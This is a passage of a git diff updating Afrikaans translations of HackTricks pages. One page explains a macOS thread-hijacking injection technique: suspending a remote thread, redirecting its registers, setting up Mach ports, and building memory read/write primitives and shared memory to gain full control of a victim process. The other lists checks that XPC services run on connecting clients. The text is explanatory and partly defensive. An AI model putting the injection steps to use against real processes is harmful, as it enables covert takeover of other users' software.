+{% endhint %} -## Kode +## Code * [https://github.com/bazad/threadexec](https://github.com/bazad/threadexec) * [https://gist.github.com/knightsc/bd6dfeccb02b77eb6409db5601dcef36](https://gist.github.com/knightsc/bd6dfeccb02b77eb6409db5601dcef36) -## 1. Draadkaping +## 1. Thread Hijacking -Aanvanklik word die **`task_threads()`**-funksie op die taakpoort aangeroep om 'n draadlys van die afgeleë taak te verkry. 'n Draad word gekies om te kap. Hierdie benadering wyk af van konvensionele kode-inspuitingsmetodes, aangesien die skep van 'n nuwe afgeleë draad verbied word as gevolg van die nuwe mitigasie wat `thread_create_running()` blokkeer. +Aanvanklik word die **`task_threads()`** funksie op die taakport aangeroep om 'n draadlys van die afstandlike taak te verkry. 'n Draad word gekies vir kaap. Hierdie benadering verskil van konvensionele kode-inspuitingsmetodes aangesien die skep van 'n nuwe afstandlike draad verbied word weens die nuwe versperring wat `thread_create_running()` blokkeer. -Om die draad te beheer, word **`thread_suspend()`** geroep om sy uitvoering te stuit. +Om die draad te beheer, word **`thread_suspend()`** aangeroep, wat die uitvoering stop. -Die enigste toegelate operasies op die afgeleë draad behels die **stop** en **begin** daarvan, die **herwinning** en **verandering** van sy registerwaardes. Afgeleë funksie-oproepe word geïnisieer deur die registers `x0` tot `x7` in te stel op die **argumente**, die **`pc`** te konfigureer om die gewenste funksie te teiken, en die draad te aktiveer. Om te verseker dat die draad nie na die terugkeer afskakel nie, is dit nodig om die terugkeer op te spoor. +Die enigste operasies wat op die afstandlike draad toegelaat word, behels **stop** en **begin**, **herwin** en **wysig** sy registerwaardes. Afstandlike funksie-aanroepe word geïnisieer deur registers `x0` tot `x7` op die **argumente** in te stel, **`pc`** te konfigureer om die gewenste funksie te teiken, en die draad te aktiveer. Om te verseker dat die draad nie cras nadat die terugkeer plaasvind nie, is dit nodig om die terugkeer te detecteer. -Een strategie behels die **registreer van 'n uitsonderingshanterer** vir die afgeleë draad deur `thread_set_exception_ports()` te gebruik, deur die `lr`-register na 'n ongeldige adres voor die funksie-oproep te stel. Dit veroorsaak 'n uitsondering na die funksie-uitvoering, wat 'n boodskap na die uitsonderingspoort stuur en die staat inspekteer om die terugkeerwaarde te herstel. As alternatief, soos aangeneem van Ian Beer se triple\_fetch-exploit, word `lr` ingestel om oneindig te loop. Die draad se register word dan voortdurend gemonitor totdat **`pc` na daardie instruksie wys**. +Een strategie behels **die registrasie van 'n uitsonderinghandler** vir die afstandlike draad met behulp van `thread_set_exception_ports()`, wat die `lr` register op 'n ongeldige adres stel voor die funksie-aanroep. Dit veroorsaak 'n uitsondering na funksie-uitvoering, wat 'n boodskap na die uitsonderingport stuur, wat staatinspeksie van die draad moontlik maak om die terugkeerwaarde te herstel. Alternatiewelik, soos aangeneem van Ian Beer se triple\_fetch exploit, word `lr` op oneindig gelus. Die draad se registers word dan deurlopend gemonitor totdat **`pc` na daardie instruksie wys**. -## 2. Mach-poorte vir kommunikasie +## 2. Mach ports for communication -Die volgende fase behels die vestiging van Mach-poorte om kommunikasie met die afgeleë draad te fasiliteer. Hierdie poorte is instrumenteel in die oordrag van willekeurige stuur- en ontvangsregte tussen take. +Die volgende fase behels die vestiging van Mach-poorte om kommunikasie met die afstandlike draad te fasiliteer. Hierdie poorte is instrumenteel in die oordrag van arbitrêre stuur- en ontvangregte tussen take. -Vir tweerigtingkommunikasie word twee Mach-ontvangsregte geskep: een in die plaaslike en die ander in die afgeleë taak. Daarna word 'n stuurreg vir elke poort oorgedra na die teenoorgestelde taak, wat boodskapuitruiling moontlik maak. +Vir bidireksionele kommunikasie word twee Mach ontvangregte geskep: een in die plaaslike en die ander in die afstandlike taak. Daarna word 'n stuurreg vir elke poort na die teenhanger-taak oorgedra, wat boodskapuitruiling moontlik maak. -Met die fokus op die plaaslike poort, word die ontvangsreg deur die plaaslike taak aangehou. Die poort word geskep met `mach_port_allocate()`. Die uitdaging lê daarin om 'n stuurreg na hierdie poort oor te dra na die afgeleë taak. +Fokus op die plaaslike poort, die ontvangreg word deur die plaaslike taak gehou. Die poort word geskep met `mach_port_allocate()`. Die uitdaging lê in die oordrag van 'n stuurreg na hierdie poort in die afstandlike taak. -'n Strategie behels die gebruik van `thread_set_special_port()` om 'n stuurreg na die plaaslike poort in die afgeleë draad se `THREAD_KERNEL_PORT` te plaas. Daarna word die afgeleë draad geïnstrueer om `mach_thread_self()` te roep om die stuurreg te herwin. +'n Strategie behels die benutting van `thread_set_special_port()` om 'n stuurreg na die plaaslike poort in die afstandlike draad se `THREAD_KERNEL_PORT` te plaas. Dan word die afstandlike draad aangesê om `mach_thread_self()` aan te roep om die stuurreg te verkry. -Vir die afgeleë poort word die proses in wese omgekeer. Die afgeleë draad word geïnstrueer om 'n Mach-poort te genereer via `mach_reply_port()` (aangesien `mach_port_allocate()` ongeskik is as gevolg van sy terugkeer-meganisme). By die skep van die poort word `mach_port_insert_right()` in die afgeleë draad geroep om 'n stuurreg te vestig. Hierdie reg word dan in die kernel gestoor deur `thread_set_special_port()` te gebruik. Terug in die plaaslike taak word `thread_get_special_port()` gebruik op die afgeleë draad om 'n stuurreg te bekom na die nuut toegewese Mach-poort in die afgeleë taak. +Vir die afstandlike poort is die proses basies omgekeer. Die afstandlike draad word aangestuur om 'n Mach-poort te genereer via `mach_reply_port()` (aangesien `mach_port_allocate()` onvanpas is weens sy terugkeermeganisme). Na poortskepping word `mach_port_insert_right()` in die afstandlike draad aangeroep om 'n stuurreg te vestig. Hierdie reg word dan in die kern gestoor met behulp van `thread_set_special_port()`. Terug in die plaaslike taak, word `thread_get_special_port()` op die afstandlike draad gebruik om 'n stuurreg na die nuut toegeken Mach-poort in die afstandlike taak te verkry. -Voltooiing van hierdie stappe lei tot die vestiging van Mach-poorte, wat die grondslag lê vir tweerigtingkommunikasie. +Die voltooiing van hierdie stappe lei tot die vestiging van Mach-poorte, wat die grondslag lê vir bidireksionele kommunikasie. -## 3. Basiese Geheue Lees-/Skryfprimitiewe +## 3. Basic Memory Read/Write Primitives -In hierdie gedeelte lê die fokus op die gebruik van die uitvoerprimitief om basiese geheue lees- en skryfprimitiewe te vestig. Hierdie aanvanklike stappe is noodsaaklik om meer beheer oor die afgeleë proses te verkry, alhoewel die primitiewe op hierdie stadium nie baie doeleindes dien nie. Binnekort sal hulle opgradeer word na meer gevorderde weergawes. +In hierdie afdeling is die fokus op die benutting van die uitvoerprimitive om basiese geheue lees- en skryfprimitive te vestig. Hierdie aanvanklike stappe is van kardinale belang om meer beheer oor die afstandlike proses te verkry, alhoewel die primitive op hierdie stadium nie baie doeleindes sal dien nie. Binnekort sal hulle opgegradeer word na meer gevorderde weergawes. -### Geheue lees en skryf met behulp van die uitvoerprimitief +### Memory Reading and Writing Using Execute Primitive -Die doel is om geheue lees en skryf uit te voer met behulp van spesifieke funksies. Vir geheue lees word funksies met die volgende struktuur gebruik: +Die doel is om geheue te lees en te skryf met behulp van spesifieke funksies. Vir die lees van geheue word funksies wat die volgende struktuur naboots, gebruik: ```c uint64_t read_func(uint64_t *address) { return *address; } ``` -En vir skryf na geheue, word funksies soortgelyk aan hierdie struktuur gebruik: +En vir skryf na geheue, funksies soortgelyk aan hierdie struktuur word gebruik: ```c void write_func(uint64_t *address, uint64_t value) { *address = value; } ``` -Hierdie funksies stem ooreen met die gegewe saamgestelde instruksies: +Hierdie funksies stem ooreen met die gegewe samestelling instruksies: ``` _read_func: ldr x0, [x0] @@ -71,109 +72,110 @@ _write_func: str x1, [x0] ret ``` -### Identifiseer Geskikte Funksies +### Identifying Suitable Functions -'n Skandering van algemene biblioteke het geskikte kandidate vir hierdie operasies geïdentifiseer: +'n Skandering van algemene biblioteke het geskikte kandidate vir hierdie operasies onthul: -1. **Lees van Geheue:** -Die `property_getName()`-funksie van die [Objective-C runtime-biblioteek](https://opensource.apple.com/source/objc4/objc4-723/runtime/objc-runtime-new.mm.auto.html) word geïdentifiseer as 'n geskikte funksie vir die lees van geheue. Die funksie word hieronder uiteengesit: +1. **Reading Memory:** +Die `property_getName()` funksie van die [Objective-C runtime library](https://opensource.apple.com/source/objc4/objc4-723/runtime/objc-runtime-new.mm.auto.html) word geïdentifiseer as 'n geskikte funksie om geheue te lees. Die funksie word hieronder uiteengesit: ```c const char *property_getName(objc_property_t prop) { return prop->name; } ``` -Hierdie funksie tree effektief op soos die `read_func` deur die eerste veld van `objc_property_t` terug te gee. +Hierdie funksie funksioneer effektief soos die `read_func` deur die eerste veld van `objc_property_t` terug te gee. -2. **Skryf van Geheue:** -Dit is meer uitdagend om 'n voorafgeboude funksie vir die skryf van geheue te vind. Die `_xpc_int64_set_value()` funksie van libxpc is egter 'n geskikte kandidaat met die volgende disassemblage: +2. **Skryf Geheue:** +Om 'n voorafgeboude funksie vir die skryf van geheue te vind, is meer uitdagend. Tog is die `_xpc_int64_set_value()` funksie van libxpc 'n geskikte kandidaat met die volgende ontbinding: ```c __xpc_int64_set_value: str x1, [x0, #0x18] ret ``` -Om 'n 64-bit skryf by 'n spesifieke adres uit te voer, word die afstandsoproep gestruktureer as: +Om 'n 64-bis skrywe op 'n spesifieke adres uit te voer, is die afstandsoproep gestruktureer as: ```c _xpc_int64_set_value(address - 0x18, value) ``` -Met hierdie primitiewe gevestig, is die verhoog gestel vir die skep van gedeelde geheue, wat 'n beduidende vordering in die beheer van die afgeleë proses beteken. +With these primitives established, the stage is set for creating shared memory, marking a significant progression in controlling the remote process. ## 4. Gedeelde Geheue Opstelling -Die doel is om gedeelde geheue tussen plaaslike en afgeleë take te vestig, wat data-oordrag vereenvoudig en die aanroep van funksies met veelvuldige argumente fasiliteer. Die benadering behels die benutting van `libxpc` en sy `OS_xpc_shmem` objek tipe, wat gebaseer is op Mach-geheueinskrywings. +Die doel is om gedeelde geheue tussen plaaslike en afstandstake te vestig, wat die oordrag van data vereenvoudig en die oproep van funksies met meerdere argumente fasiliteer. Die benadering behels die benutting van `libxpc` en sy `OS_xpc_shmem` objektipe, wat gebou is op Mach geheue-invoere. -### Prosessoorsig: +### Proses Oorsig: -1. **Geheue-toekenning**: -- Ken die geheue toe vir deling deur `mach_vm_allocate()` te gebruik. -- Gebruik `xpc_shmem_create()` om 'n `OS_xpc_shmem` objek vir die toegewese geheuegebied te skep. Hierdie funksie sal die skepping van die Mach-geheueinskrywing bestuur en die Mach-stuurreg op offset `0x18` van die `OS_xpc_shmem` objek stoor. +1. **Geheue Toewysing**: +- Toewys die geheue vir deel met `mach_vm_allocate()`. +- Gebruik `xpc_shmem_create()` om 'n `OS_xpc_shmem` objek te skep vir die toegewyde geheuegebied. Hierdie funksie sal die skepping van die Mach geheue-invoer bestuur en die Mach stuurreg aan offset `0x18` van die `OS_xpc_shmem` objek stoor. -2. **Skep van Gedeelde Geheue in Afgeleë Proses**: -- Ken geheue toe vir die `OS_xpc_shmem` objek in die afgeleë proses met 'n afgeleë oproep na `malloc()`. -- Kopieer die inhoud van die plaaslike `OS_xpc_shmem` objek na die afgeleë proses. Hierdie aanvanklike kopie sal egter verkeerde Mach-geheueinskrywingname hê by offset `0x18`. +2. **Skep Gedeelde Geheue in Afstandproses**: +- Toewys geheue vir die `OS_xpc_shmem` objek in die afstandproses met 'n afstandoproep na `malloc()`. +- Kopieer die inhoud van die plaaslike `OS_xpc_shmem` objek na die afstandproses. Hierdie aanvanklike kopie sal egter onakkurate Mach geheue-invoer name hê by offset `0x18`. -3. **Korrigeer die Mach-Geheueinskrywing**: -- Maak gebruik van die `thread_set_special_port()` metode om 'n stuurreg vir die Mach-geheueinskrywing in die afgeleë taak in te voeg. -- Korrekteer die Mach-geheueinskrywingveld by offset `0x18` deur dit te oorskryf met die naam van die afgeleë geheueinskrywing. +3. **Korrigeer die Mach Geheue Invoer**: +- Gebruik die `thread_set_special_port()` metode om 'n stuurreg vir die Mach geheue-invoer in die afstandtaak in te voeg. +- Korrigeer die Mach geheue-invoer veld by offset `0x18` deur dit te oorskryf met die naam van die afstand geheue-invoer. -4. **Voltooiing van Gedeelde Geheue Opstelling**: -- Valideer die afgeleë `OS_xpc_shmem` objek. -- Stel die gedeelde geheueafbeelding op met 'n afgeleë oproep na `xpc_shmem_remote()`. +4. **Finaliseer Gedeelde Geheue Opstelling**: +- Valideer die afstand `OS_xpc_shmem` objek. +- Vestig die gedeelde geheue kaart met 'n afstandoproep na `xpc_shmem_remote()`. -Deur hierdie stappe te volg, sal gedeelde geheue tussen die plaaslike en afgeleë take doeltreffend opgestel word, wat eenvoudige data-oordrag en die uitvoering van funksies met veelvuldige argumente moontlik maak. +Deur hierdie stappe te volg, sal gedeelde geheue tussen die plaaslike en afstandstake doeltreffend opgestel word, wat vir eenvoudige data-oordragte en die uitvoering van funksies wat meerdere argumente vereis, toelaat. -## Addisionele Kodefragmente +## Bykomende Kode Snippets -Vir geheue-toekenning en die skep van gedeelde geheue objekte: +Vir geheue toewysing en gedeelde geheue objek skepping: ```c mach_vm_allocate(); xpc_shmem_create(); ``` -Vir die skep en regstelling van die gedeelde geheue-object in die afgeleë proses: +Vir die skep en regstelling van die gedeelde geheue objek in die afstandsproses: ```c malloc(); // for allocating memory remotely thread_set_special_port(); // for inserting send right ``` -Onthou om die besonderhede van Mach-poorte en geheue-invoernaam korrek te hanteer om te verseker dat die gedeelde geheue korrek funksioneer. +Onthou om die besonderhede van Mach-poorte en geheue-ingangname korrek te hanteer om te verseker dat die gedeelde geheue-opstelling behoorlik funksioneer. -## 5. Volledige beheer bereik +## 5. Volle Beheer Bereik -Nadat ons suksesvol gedeelde geheue opgestel en willekeurige uitvoeringsvermoëns verkry het, het ons in wese volledige beheer oor die teikenproses verkry. Die sleutelfunksies wat hierdie beheer moontlik maak, is: +By die suksesvolle vestiging van gedeelde geheue en die verkryging van arbitrêre uitvoeringsvermoëns, het ons in wese volle beheer oor die teikenproses verkry. Die sleutel funksies wat hierdie beheer moontlik maak, is: -1. **Willekeurige Geheue-operasies**: -- Voer willekeurige geheuelesings uit deur `memcpy()` aan te roep om data van die gedeelde gebied te kopieer. -- Voer willekeurige geheue-skrywings uit deur `memcpy()` te gebruik om data na die gedeelde gebied oor te dra. +1. **Arbitrêre Geheue Operasies**: +- Voer arbitrêre geheue lees uit deur `memcpy()` aan te roep om data van die gedeelde streek te kopieer. +- Voer arbitrêre geheue skrywe uit deur `memcpy()` te gebruik om data na die gedeelde streek oor te dra. 2. **Hantering van Funksie-oproepe met Meerdere Argumente**: -- Vir funksies wat meer as 8 argumente vereis, reël die bykomende argumente op die stapel in ooreenstemming met die oproepkonvensie. +- Vir funksies wat meer as 8 argumente vereis, rangskik die addisionele argumente op die stapel in ooreenstemming met die oproepkonvensie. -3. **Mach-poortoorplasing**: -- Oordra van Mach-poorte tussen take deur Mach-boodskappe via voorheen opgestelde poorte. +3. **Mach Port Oordrag**: +- Oordrag van Mach-poorte tussen take deur Mach-boodskappe via voorheen gevestigde poorte. -4. **Lêerbeskryweroorplasing**: -- Oordra van lêerbeskrywers tussen prosesse deur gebruik te maak van lêerpoorte, 'n tegniek wat deur Ian Beer in `triple_fetch` beklemtoon word. +4. **Lêer Descriptor Oordrag**: +- Oordrag van lêer descriptors tussen prosesse met behulp van fileports, 'n tegniek wat deur Ian Beer in `triple_fetch` beklemtoon is. -Hierdie omvattende beheer word gekapsuleer binne die [threadexec](https://github.com/bazad/threadexec) biblioteek, wat 'n gedetailleerde implementering en 'n gebruikersvriendelike API bied vir interaksie met die slagofferproses. +Hierdie omvattende beheer is ingekapsuleer binne die [threadexec](https://github.com/bazad/threadexec) biblioteek, wat 'n gedetailleerde implementering en 'n gebruikersvriendelike API bied vir interaksie met die slagoffer proses. -## Belangrike oorwegings: +## Belangrike Oorwegings: -- Verseker korrekte gebruik van `memcpy()` vir geheuelees-/skryfoperasies om die stabiliteit van die stelsel en die integriteit van data te handhaaf. -- Wanneer Mach-poorte of lêerbeskrywers oorgedra word, volg korrekte protokolle en hanteer hulpbronne verantwoordelik om lekke of onbedoelde toegang te voorkom. +- Verseker behoorlike gebruik van `memcpy()` vir geheue lees/skrywe operasies om stelsels stabiliteit en data integriteit te handhaaf. +- Wanneer Mach-poorte of lêer descriptors oorgedra word, volg behoorlike protokolle en hanteer hulpbronne verantwoordelik om lekkasies of onbedoelde toegang te voorkom. -Deur hierdie riglyne na te kom en die `threadexec` biblioteek te gebruik, kan 'n persoon prosesse doeltreffend bestuur en interaksie daarmee op 'n fynvlakvlak bereik, en sodoende volledige beheer oor die teikenproses verkry. +Deur hierdie riglyne na te kom en die `threadexec` biblioteek te benut, kan 'n mens doeltreffend prosesse op 'n fyn vlak bestuur en mee werk, wat volle beheer oor die teikenproses bereik. ## Verwysings * [https://bazad.github.io/2018/10/bypassing-platform-binary-task-threads/](https://bazad.github.io/2018/10/bypassing-platform-binary-task-threads/) +{% hint style="success" %} +Leer & oefen AWS Hacking:[**HackTricks Training AWS Red Team Expert (ARTE)**](https://training.hacktricks.xyz/courses/arte)\ +Leer & oefen GCP Hacking: [**HackTricks Training GCP Red Team Expert (GRTE)**](https://training.hacktricks.xyz/courses/grte) +
-Leer AWS-hacking van nul tot held met htARTE (HackTricks AWS Red Team Expert)! +Ondersteun HackTricks -Ander maniere om HackTricks te ondersteun: - -* As jy wil sien dat jou **maatskappy geadverteer word in HackTricks** of **HackTricks aflaai in PDF-formaat**, kyk na die [**SUBSCRIPTION PLANS**](https://github.com/sponsors/carlospolop)! -* Kry die [**amptelike PEASS & HackTricks-uitrusting**](https://peass.creator-spring.com) -* Ontdek [**The PEASS Family**](https://opensea.io/collection/the-peass-family), ons versameling eksklusiewe [**NFTs**](https://opensea.io/collection/the-peass-family) -* **Sluit aan by die** 💬 [**Discord-groep**](https://discord.gg/hRep4RUj7f) of die [**telegram-groep**](https://t.me/peass) of **volg** ons op **Twitter** 🐦 [**@carlospolopm**](https://twitter.com/hacktricks_live)**.** -* **Deel jou haktruuks deur PR's in te dien by die** [**HackTricks**](https://github.com/carlospolop/hacktricks) en [**HackTricks Cloud**](https://github.com/carlospolop/hacktricks-cloud) github-opslag. +* Kyk na die [**subskripsie planne**](https://github.com/sponsors/carlospolop)! +* **Sluit aan by die** 💬 [**Discord groep**](https://discord.gg/hRep4RUj7f) of die [**telegram groep**](https://t.me/peass) of **volg** ons op **Twitter** 🐦 [**@hacktricks\_live**](https://twitter.com/hacktricks\_live)**.** +* **Deel hacking truuks deur PRs in te dien na die** [**HackTricks**](https://github.com/carlospolop/hacktricks) en [**HackTricks Cloud**](https://github.com/carlospolop/hacktricks-cloud) github repos.
+{% endhint %} diff --git a/macos-hardening/macos-security-and-privilege-escalation/macos-proces-abuse/macos-ipc-inter-process-communication/macos-xpc/macos-xpc-connecting-process-check/README.md b/macos-hardening/macos-security-and-privilege-escalation/macos-proces-abuse/macos-ipc-inter-process-communication/macos-xpc/macos-xpc-connecting-process-check/README.md index 88c812876..aec446969 100644 --- a/macos-hardening/macos-security-and-privilege-escalation/macos-proces-abuse/macos-ipc-inter-process-communication/macos-xpc/macos-xpc-connecting-process-check/README.md +++ b/macos-hardening/macos-security-and-privilege-escalation/macos-proces-abuse/macos-ipc-inter-process-communication/macos-xpc/macos-xpc-connecting-process-check/README.md @@ -1,60 +1,61 @@ -# macOS XPC Verbindende Prosessie Kontroleer +# macOS XPC Connecting Process Check + +{% hint style="success" %} +Leer & oefen AWS Hacking:[**HackTricks Training AWS Red Team Expert (ARTE)**](https://training.hacktricks.xyz/courses/arte)\ +Leer & oefen GCP Hacking: [**HackTricks Training GCP Red Team Expert (GRTE)**](https://training.hacktricks.xyz/courses/grte)
-Leer AWS-hacking van nul tot held met htARTE (HackTricks AWS Red Team Expert)! +Support HackTricks -Ander maniere om HackTricks te ondersteun: - -* As jy wil sien dat jou **maatskappy geadverteer word in HackTricks** of **HackTricks aflaai in PDF-formaat**, kyk na die [**SUBSCRIPTION PLANS**](https://github.com/sponsors/carlospolop)! -* Kry die [**amptelike PEASS & HackTricks swag**](https://peass.creator-spring.com) -* Ontdek [**The PEASS Family**](https://opensea.io/collection/the-peass-family), ons versameling eksklusiewe [**NFTs**](https://opensea.io/collection/the-peass-family) -* **Sluit aan by die** 💬 [**Discord-groep**](https://discord.gg/hRep4RUj7f) of die [**telegram-groep**](https://t.me/peass) of **volg** ons op **Twitter** 🐦 [**@carlospolopm**](https://twitter.com/hacktricks_live)**.** -* **Deel jou hacktruuks deur PR's in te dien by die** [**HackTricks**](https://github.com/carlospolop/hacktricks) en [**HackTricks Cloud**](https://github.com/carlospolop/hacktricks-cloud) github-repos. +* Kyk na die [**subskripsie planne**](https://github.com/sponsors/carlospolop)! +* **Sluit aan by die** 💬 [**Discord groep**](https://discord.gg/hRep4RUj7f) of die [**telegram groep**](https://t.me/peass) of **volg** ons op **Twitter** 🐦 [**@hacktricks\_live**](https://twitter.com/hacktricks\_live)**.** +* **Deel hacking truuks deur PRs in te dien na die** [**HackTricks**](https://github.com/carlospolop/hacktricks) en [**HackTricks Cloud**](https://github.com/carlospolop/hacktricks-cloud) github repos.
+{% endhint %} -## XPC Verbindende Prosessie Kontroleer +## XPC Connecting Process Check -Wanneer 'n verbinding met 'n XPC-diens tot stand gebring word, sal die bediener nagaan of die verbinding toegelaat word. Dit is die kontroles wat gewoonlik uitgevoer word: +Wanneer 'n verbinding met 'n XPC-diens tot stand gebring word, sal die bediener nagaan of die verbinding toegelaat word. Dit is die kontroles wat dit gewoonlik sal uitvoer: -1. Kyk of die verbindende **proses onderteken is met 'n Apple-ondertekende** sertifikaat (slegs deur Apple uitgereik). -* As dit **nie geverifieer word nie**, kan 'n aanvaller 'n **vals sertifikaat** skep om enige ander kontrole te pas. -2. Kyk of die verbindende proses onderteken is met die **organisasie se sertifikaat**, (span-ID-verifikasie). -* As dit **nie geverifieer word nie**, kan **enige ontwikkelaarssertifikaat** van Apple gebruik word vir ondertekening en om met die diens te verbind. -3. Kyk of die verbindende proses **'n korrekte bundel-ID** bevat. -* As dit **nie geverifieer word nie**, kan enige instrument **onderteken deur dieselfde organisasie** gebruik word om met die XPC-diens te kommunikeer. -4. (4 of 5) Kyk of die verbindende proses 'n **korrekte sagteware-weergawe-nommer** het. -* As dit **nie geverifieer word nie**, kan 'n ou, onveilige kliënte wat vatbaar is vir prosesinjeksie, gebruik word om selfs met die ander kontroles in plek met die XPC-diens te verbind. -5. (4 of 5) Kyk of die verbindende proses 'n geharde uitvoertyd het sonder gevaarlike toekennings (soos diegene wat die laai van willekeurige biblioteke of die gebruik van DYLD-omgewingsveranderlikes toelaat). -1. As dit **nie geverifieer word nie**, kan die kliënt **vatbaar wees vir koderingsinjeksie** -6. Kyk of die verbindende proses 'n **toekennings** het wat dit in staat stel om met die diens te verbind. Dit is van toepassing op Apple-binêres. -7. Die **verifikasie** moet **gebaseer** wees op die verbindende **kliënt se oudit-token** **in plaas** van sy proses-ID (**PID**) aangesien die eerste **PID-hergebruikaanvalle** voorkom. -* Ontwikkelaars gebruik **skaars die oudit-token** API-oproep aangesien dit **privaat** is, sodat Apple dit enige tyd kan **verander**. Daarbenewens is die gebruik van private API's nie toegelaat in Mac App Store-toepassings nie. -* As die metode **`processIdentifier`** gebruik word, kan dit vatbaar wees -* **`xpc_dictionary_get_audit_token`** moet eerder gebruik word as **`xpc_connection_get_audit_token`**, aangesien die laaste ook [vatbaar kan wees in sekere situasies](https://sector7.computest.nl/post/2023-10-xpc-audit-token-spoofing/). +1. Kyk of die verbindende **proses onderteken is met 'n Apple-ondertekende** sertifikaat (slegs deur Apple gegee). +* As dit **nie geverifieer is nie**, kan 'n aanvaller 'n **valse sertifikaat** skep om aan enige ander kontrole te voldoen. +2. Kyk of die verbindende proses onderteken is met die **organisasie se sertifikaat**, (span ID verifikasie). +* As dit **nie geverifieer is nie**, kan **enige ontwikkelaar sertifikaat** van Apple gebruik word om te onderteken, en met die diens te verbind. +3. Kyk of die verbindende proses **'n behoorlike bundel ID** bevat. +* As dit **nie geverifieer is nie**, kan enige hulpmiddel **onderteken deur dieselfde org** gebruik word om met die XPC-diens te kommunikeer. +4. (4 of 5) Kyk of die verbindende proses 'n **behoorlike sagteware weergawe nommer** het. +* As dit **nie geverifieer is nie**, kan 'n ou, onveilige kliënt, kwesbaar vir proses inspuiting, gebruik word om met die XPC-diens te verbind, selfs met die ander kontroles in plek. +5. (4 of 5) Kyk of die verbindende proses 'n geharde tydperk het sonder gevaarlike regte (soos dié wat toelaat om arbitrêre biblioteke te laai of DYLD omgewings veranderlikes te gebruik). +1. As dit **nie geverifieer is nie**, mag die kliënt **kwesbaar wees vir kode inspuiting**. +6. Kyk of die verbindende proses 'n **regte** het wat dit toelaat om met die diens te verbind. Dit is van toepassing op Apple binêre. +7. Die **verifikasie** moet **gebaseer** wees op die verbindende **kliënt se oudit token** **in plaas van** sy proses ID (**PID**) aangesien die eerste **PID hergebruik aanvalle** voorkom. +* Ontwikkelaars **gebruik selde die oudit token** API-oproep aangesien dit **privaat** is, so Apple kan dit **enige tyd verander**. Boonop is privaat API gebruik nie toegelaat in Mac App Store toepassings nie. +* As die metode **`processIdentifier`** gebruik word, mag dit kwesbaar wees. +* **`xpc_dictionary_get_audit_token`** moet gebruik word in plaas van **`xpc_connection_get_audit_token`**, aangesien laasgenoemde ook [kwesbaar kan wees in sekere situasies](https://sector7.computest.nl/post/2023-10-xpc-audit-token-spoofing/). -### Kommunikasie-aanvalle +### Communication Attacks -Vir meer inligting oor die PID-hergebruikaanval, kyk na: +Vir meer inligting oor die PID hergebruik aanval, kyk: {% content-ref url="macos-pid-reuse.md" %} [macos-pid-reuse.md](macos-pid-reuse.md) {% endcontent-ref %} -Vir meer inligting oor die **`xpc_connection_get_audit_token`**-aanval, kyk na: +Vir meer inligting oor **`xpc_connection_get_audit_token`** aanval, kyk: {% content-ref url="macos-xpc_connection_get_audit_token-attack.md" %} [macos-xpc\_connection\_get\_audit\_token-attack.md](macos-xpc\_connection\_get\_audit\_token-attack.md) {% endcontent-ref %} -### Trustcache - Voorkoming van Afwaartse Aanvalle +### Trustcache - Downgrade Attacks Prevention -Trustcache is 'n verdedigingsmetode wat in Apple Silicon-masjiene ingevoer is en 'n databasis van CDHSAH van Apple-binêres stoor, sodat slegs toegelate, onveranderde binêres uitgevoer kan word. Dit voorkom die uitvoering van afwaartse weergawes. +Trustcache is 'n defensiewe metode wat in Apple Silicon masjiene bekendgestel is wat 'n databasis van CDHSAH van Apple binêre stoor sodat slegs toegelate nie-gemodifiseerde binêre uitgevoer kan word. Dit voorkom die uitvoering van downgrade weergawes. -### Kodevoorbeelde +### Code Examples -Die bediener sal hierdie **verifikasie** implementeer in 'n funksie genaamd **`shouldAcceptNewConnection`**. +Die bediener sal hierdie **verifikasie** in 'n funksie genaamd **`shouldAcceptNewConnection`** implementeer. {% code overflow="wrap" %} ```objectivec @@ -65,9 +66,9 @@ return YES; ``` {% endcode %} -Die objek NSXPCConnection het 'n **privaat** eienskap **`auditToken`** (die een wat gebruik moet word maar kan verander) en 'n **publieke** eienskap **`processIdentifier`** (die een wat nie gebruik moet word nie). +Die objek NSXPCConnection het 'n **private** eiendom **`auditToken`** (die een wat gebruik moet word maar kan verander) en 'n **public** eiendom **`processIdentifier`** (die een wat nie gebruik moet word nie). -Die verbindende proses kan geverifieer word met iets soos: +Die verbindingsproses kan verifieer word met iets soos: {% code overflow="wrap" %} ```objectivec @@ -91,7 +92,7 @@ SecTaskValidateForRequirement(taskRef, (__bridge CFStringRef)(requirementString) ``` {% endcode %} -As 'n ontwikkelaar nie die weergawe van die kliënt wil nagaan nie, kan hy ten minste nagaan of die kliënt vatbaar is vir prosesinjeksie: +As 'n ontwikkelaar nie die weergawe van die kliënt wil nagaan nie, kan hy ten minste nagaan dat die kliënt nie kwesbaar is vir prosesinspuiting nie: {% code overflow="wrap" %} ```objectivec @@ -110,16 +111,17 @@ return Yes; // Accept connection ``` {% endcode %} +{% hint style="success" %} +Leer en oefen AWS Hacking:[**HackTricks Opleiding AWS Red Team Expert (ARTE)**](https://training.hacktricks.xyz/courses/arte)\ +Leer en oefen GCP Hacking: [**HackTricks Opleiding GCP Red Team Expert (GRTE)**](https://training.hacktricks.xyz/courses/grte) +
-Leer AWS-hacking van nul tot held met htARTE (HackTricks AWS Red Team Expert)! +Ondersteun HackTricks -Ander maniere om HackTricks te ondersteun: - -* As jy wil sien dat jou **maatskappy geadverteer word in HackTricks** of **HackTricks aflaai in PDF-formaat**, kyk na die [**SUBSCRIPTION PLANS**](https://github.com/sponsors/carlospolop)! -* Kry die [**amptelike PEASS & HackTricks swag**](https://peass.creator-spring.com) -* Ontdek [**The PEASS Family**](https://opensea.io/collection/the-peass-family), ons versameling eksklusiewe [**NFTs**](https://opensea.io/collection/the-peass-family) -* **Sluit aan by die** 💬 [**Discord-groep**](https://discord.gg/hRep4RUj7f) of die [**telegram-groep**](https://t.me/peass) of **volg** ons op **Twitter** 🐦 [**@carlospolopm**](https://twitter.com/hacktricks_live)**.** -* **Deel jou hacking-truuks deur PR's in te dien by die** [**HackTricks**](https://github.com/carlospolop/hacktricks) en [**HackTricks Cloud**](https://github.com/carlospolop/hacktricks-cloud) GitHub-opslagplekke. +* Kyk na die [**subskripsie planne**](https://github.com/sponsors/carlospolop)! +* **Sluit aan by die** 💬 [**Discord groep**](https://discord.gg/hRep4RUj7f) of die [**telegram groep**](https://t.me/peass) of **volg** ons op **Twitter** 🐦 [**@hacktricks\_live**](https://twitter.com/hacktricks\_live)**.** +* **Deel hacking truuks deur PRs in te dien na die** [**HackTricks**](https://github.com/carlospolop/hacktricks) en [**HackTricks Cloud**](https://github.com/carlospolop/hacktricks-cloud) github repos.
